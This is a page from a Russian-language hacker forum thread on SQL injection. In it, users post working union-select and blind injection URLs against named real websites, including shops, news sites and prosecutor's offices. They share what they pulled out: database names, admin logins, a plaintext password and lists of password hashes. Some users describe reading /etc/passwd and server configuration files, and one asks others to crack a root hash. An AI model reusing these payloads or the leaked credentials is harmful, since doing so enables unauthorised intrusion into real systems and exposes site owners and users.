SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 407 of 798
  1. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.monavissa.ro/pagini.php?pag_id=-4'+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5/*


    Database Version: 4.1.22-log
    Database name: monavissa_new
    User name: monavissa@localhost
     
    #8121 Gorev, 6 Mar 2009
    1 person likes this.
  2. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.cpaug.org/publications.php?Id=-1+union+all+select+0,concat_ws(0x3a,username,password),2,3,4,5+from+users--
    Логин/пасс:

    Code:
    Sema:nakiseki
    Code:
    http://www.cpaug.org/publications.php?Id=-1+union+all+select+0,concat_ws(0x3a,version(),user(),database()),2,3,4,5+from+users--
    версия/юзер/бд:


    Code:
    4.0.21:[email protected]:cpaug_org

    ------------------------------------------------------------------------------
    The End!
     
    #8122 -m0rgan-, 6 Mar 2009
    1 person likes this.
  3. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.ewclid.ru/news/?id=-164+union+select+1,concat_ws(0x3a,version(),databa se(),user()),3,4,5--&returnto=0&n=1
    Database Version : 4.0.27
    Database name : ewclid2
    User name : [email protected]

    сбрутил только логин:

    Code:
    http://www.ewclid.ru/news/?id=-164+union+select+1,log in,3,4,5+from+users--&returnto=0&n=1
     
    #8123 f1ng3r, 6 Mar 2009
    2 people like this.
  4. fker

    fker Member

    Joined:
    26 Nov 2008
    Messages:
    135
    Likes Received:
    64
    Reputations:
    -1
    www.themusichutch.com (pr 4)

    Code:
    http://www.themusichutch.com/listen.php?songid=41348+union+select+0,1,2,3,version(),5,6,7,8,9,10,11,12,13,14,table_name+from+INFORMATION_SCHEMA.TABLES%20LIMIT+1,1--

tables:
md_emails
mh_invites
mh_logins
     
    #8124 fker, 6 Mar 2009
    Last edited by a moderator: 6 Mar 2009
  5. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.sbx-re.ro/anunturi-imobiliare-sbx-1590+AND+ASCII(SUBSTRING((select+version() ),1,1))=x/*.html

    x=52,46,49,46,50,50,45,115,116,97,110,100,97,114,100

    http://www.sbx-re.ro/anunturi-imobiliare-sbx-1590+AND+ASCII(SUBSTRING((select+database() ),1,1))=x/*.html

    x=114,111,109,97,110,105,97,105,95,100,98

    http://www.sbx-re.ro/anunturi-imobiliare-sbx-1590+AND+ASCII(SUBSTRING((select+user() ),1,1))=x/*.html

    x=114,111,109,97,110,105,97,105,95,111,118,105,100,105,117,64,108,111,99,97,108,104,111,115,116

    Version : 4.1.22-standard
    Database : romaniai_db
    User : romaniai_ovidiu@localhost



    http://www.romaniaimobiliare.ro/anunturi-imobiliare-proprietari-5779+AND+ASCII(SUBSTRING((select+user() ),11,1))=x/*.html?pag_language=ro

    выдает те же самые данные что и первый сайт...
     
    #8125 Gorev, 6 Mar 2009
  6. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.tonicompany.ro/index.php?command=categproduse&sid=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6&pag=3


    Database Version: 5.0.67-community-log
    Database name: tonicomp_tonitrading
    User name: tonicomp_vlad@localhost

    http://www.turisminromania.ro/index.php?judet=10+UNION+SELECT+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49+limit+1,1--


    Database Version: 5.0.51a-log
    Database name: turisminromania_ro_turisminromania
    User name: [email protected]

    Respekt R1dex !
     
    #8126 Gorev, 6 Mar 2009
    Last edited: 7 Mar 2009
  7. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    PR- 6

    Database Version: 5.0.67-community
    Database name: repo_bg
    User name: repo_repo@localhost


    PR - 6

    Version: 4.1.21-standard-log
    User: gjc@localhost
    Database: gjc2006



    Database Version: 4.1.10a
    Database name: it
    User name: itmodir@localhost


    PR - 5


    Version:5.0.27
    User:mvtimes@localhost
    Database:mvtdb


    PR - 4


    Version:4.0.24_Debian-10sarge3-log
    User:media@localhost
    Database:morpho



    PR - 4


    Version:5.0.22-Debian_0ubuntu6.06.10
    User:thatday01@localhost
    Database:thatday_db1





    PageRank = 5


    Database Version: 5.0.37
    Database name: becontent
    User name: root@localhost

    root : 43b15bb255f188a4

    Читаем etc/passwd

    Читаем /etc/httpd/conf/httpd.conf


    Читаем /var/www/html/index.php


    Читаем /var/www/html/include/template.inc.php


    Копаемся дальше в поисках нужной нам информации.Вопрос в том что нам нужно там -)))



    Еще один Рут на пятёрочке итальянской....




    4.0.5a-beta-log
    wwwadm@localhost
    Economia



    root : 6ebe97855d5cfacb
     
    #8127 spherics, 7 Mar 2009
    Last edited: 7 Mar 2009
  8. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    hibiny.ru

    Code:
    http://www.hibiny.ru/tourism/cam.php?id=-2%20union%20select%20version()/*
    version(): 5.0.45
    user(): u56119@localhost
     
    _________________________
    #8128 yarbabin, 7 Mar 2009
    3 people like this.
  9. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Version:5.0.45
    User:root@localhost
    Database:pi2s2_applications


    root:40dcd73246a08b24
    user_appweb:60776d8c1b2603fe
    support_cometa:4d88db586081c8e1
    support_gilda:59456f66536f08a2
    quest_user:3fca398228ffeb0d
    cometa:0b0499ae0af29196
    triadmin:4db2e1f0371bb23c
    user_trigrid:799f669976a96721
    user_gridct:071161424fdd32d6
    user_tutorial:5a6f10b433888a81
    sgadmin:40b75bf20b89fd7f
    cdsprova:12bb79285094f6c9
    momentaneo:12bb79285094f6c9
    cdscometa:2d98430975596ec0
    cdsagenda:3285d95736219716
    user_egroup:309830266c320655
    inveniocometa:2a67070b5a1f24d6
    cds_cometa:5c8b8ed8746fe245
    cometaagenda:0b0499ae0af29196
    user_application:60776d8c1b2603fe
    school_cairo:40b743500b89f4dd
    quest_infn:3f17c5654c4efe74
    joomla_cometa:2526327f78e49d24
    grisu_user:05e18b2f6159ffb3
    emidio_test:4200820054e0fa20
    userinaf:45359d850a65b59c
    na4_appl:3a696946195acda9
     
    #8129 spherics, 7 Mar 2009
  10. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://atecdrexim.ro/textile/index.php?command=categproduse&sid=-10+union+select+1,concat_Ws(0x3a,version(),database(),user()),3,4,5

    Database Version: 5.0.67-community-log
    Database name: atecdrex_textile
    User name: atecdrex_user@localhost
     
    #8130 Gorev, 7 Mar 2009
    1 person likes this.
  11. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Pagerank: 5
    тИЦ: 800

    Code:
    http://www.tabe.ru/news/index.php?a=-1+union+select+1,concat_ws(0x3a,version (),databa se(),user()),3,4,5,6--&y=2009
    Database Version : 4.0.27-log
    Database name : tabe
    User name : [email protected]

    -------------------------------------------------+

    Pagerank: 3
    тИЦ: 750

    Code:
    http://www.zamoroz.ru/news.php?news_id=-1+union+select+1,2,3,4,5,6,concat_ ws(0x3a,version(),d atabase(),user()),8,9--
    Database Version : 5.0.67-log
    Database name : u9557
    User name : [email protected]

    вывод юзверей с форума, без лимита:

    Code:
    http://www.zamoroz.ru/news.php?news_id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,usern ame,password),8,9+from+ phorum_users--
    Code:
    "Заморозь.ру":c19f8c2ed4e1db99593c23783528aaa9
     
    #8131 f1ng3r, 7 Mar 2009
    Last edited: 7 Mar 2009
    1 person likes this.
  12. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    заказ цветов

    Code:
    http://www.floryon.ru/?page=details&wid=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
     
    #8132 F4R, 7 Mar 2009
  13. S0ulVortex

    S0ulVortex Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    161
    Likes Received:
    85
    Reputations:
    10
    www.htec.co.th

    Code:
    http://www.htec.co.th/security_%20fire.php?id=220+UNION+SELECT+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

    version: 5.0.51a-24-log
    user: fang@localhost
    database: product
     
    #8133 S0ulVortex, 7 Mar 2009
  14. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    ещё цветочки) что то меня сегодня пробило)

    Code:
    http://www.florazone.ru/catalogue/?sublist=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database())--
    ещё 1 сайтег)
    Code:
    http://www.64akalifi.ru/index.php?id=-1+union+select+1,2,3,4,5,concat_ws(0x3a,version(),  user(),database()),7,8,9--
     
    #8134 F4R, 7 Mar 2009
    Last edited: 7 Mar 2009
    1 person likes this.
  15. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.promholod.com/article.php?n=-1+union+select+conca t_ws(0x3a,version(),database(),user()),2,3,4--

    Database Version : 5.0.45
    Database name : promholod
    User name : root@localhost

    админ:

    Code:
    http://www.promholod.com/article.php?n=-1+union+select+concat_ws(0x3a,User,password,file_priv),2,3,4+from+mys ql.user--
    file_priv Y

    Code:
    root:1a1d79c161260718:Y
    если кто расшифрует, напишите если не трудно.
     
    #8135 f1ng3r, 7 Mar 2009
    1 person likes this.
  16. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Прокуратура Архангельской области

    Code:
    http://www.arhoblprok.atnet.ru/ru/news/show.asp?year=2009&id=86+union+select+1,2,3,4,5,6+from+news
    Microsoft Access

    ____________________________________________

    Прокуратура Московской области

    Code:
    http://www.mosoblproc.ru/news/?id=950+and+1=0+union+select+1,2,3,4,5,6--+&print=1
    Ничего интересного T_T
     
    #8136 R1dex, 7 Mar 2009
    Last edited: 7 Mar 2009
    3 people like this.
  17. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Pagerank: 6
    тИЦ: 2600

    Code:
    http://www.multiokna.ru/about/?ContentId=174&year=2009&month=02&id=-1+union+select+1,concat_ws(0x3a ,version (),database(),user()),3,4,5,6,7,8,9,10--
    Database Version : 5.0.67-log
    Database name : u49275
    User name : [email protected]
     
    #8137 f1ng3r, 7 Mar 2009
  18. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    Code:
    http://nautlib.ru/
    PR: 5
    Тиц: 70
    Версия: 5.0.27-log
    База данных: nautlib
    Юзверь: root@localhost
    Code:
    http://nautlib.ru/auth.php?g=-54%20union%20select%201--
    Админка: http://nautlib.ru/admin
    Логин: joe
    Пароль: $H$9We0hhRJHUh1BvNDil/V30fYgLKvjs1
    mysql.user
    file_priv=y
     
    #8138 Assembler, 7 Mar 2009
    Last edited by a moderator: 7 Mar 2009
    2 people like this.
  19. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Gorev твоя территория ведения боевых действий -)


    PageRank = 6


    Database Version: 5.0.67-community
    Database name: romanian_svc
    User name: romanian_svc@localhost



    PageRank = 5


    Database Version:4.1.20
    User name:greentr@localhost
    Database name:greentr



    Database Version:4.1.22-standard
    User name:eek:ilexecr_oilexec@localhost
    Database name:eek:ilexecr_oilexecj




    Database Version:4.0.27-standard
    User name:bsdaro_bsda@localhost
    Database name:bsdaro_bsda



    Version:5.0.67-community
    User:rsup3104@localhost
    Database:rsup3104_superengine



    PageRank = 5


    Database Version: 5.0.67-community
    Database name: hrclub_discussion
    User name: hrclub_discussio@localhost


    PageRank = 5


    Database Version: 5.0.67-community
    Database name: unarte_tetenica
    User name: unarte_siteuna@localhost


    Database Version:5.0.67-log
    User name:aece@localhost
    Database name:aece


    PageRank = 4


    Database Version:5.0.32-DEBIAN_7ETCH8-LOG
    User name:STATIUNEABANEASA@LOCALHOST
    Database name:BANEASA
     
    #8139 spherics, 7 Mar 2009
    Last edited: 7 Mar 2009
  20. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://enshop.ro/detalii_cat_orig.php?id_prod=2191'+UNION+SELECT+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90--&scat=27



    Database Version: 4.1.20-log
    Database name: enshop_site
    User name: enshop_user@localhost
     
    #8140 Gorev, 7 Mar 2009
    1 person likes this.
(You must log in or sign up to post here.)
Page 407 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.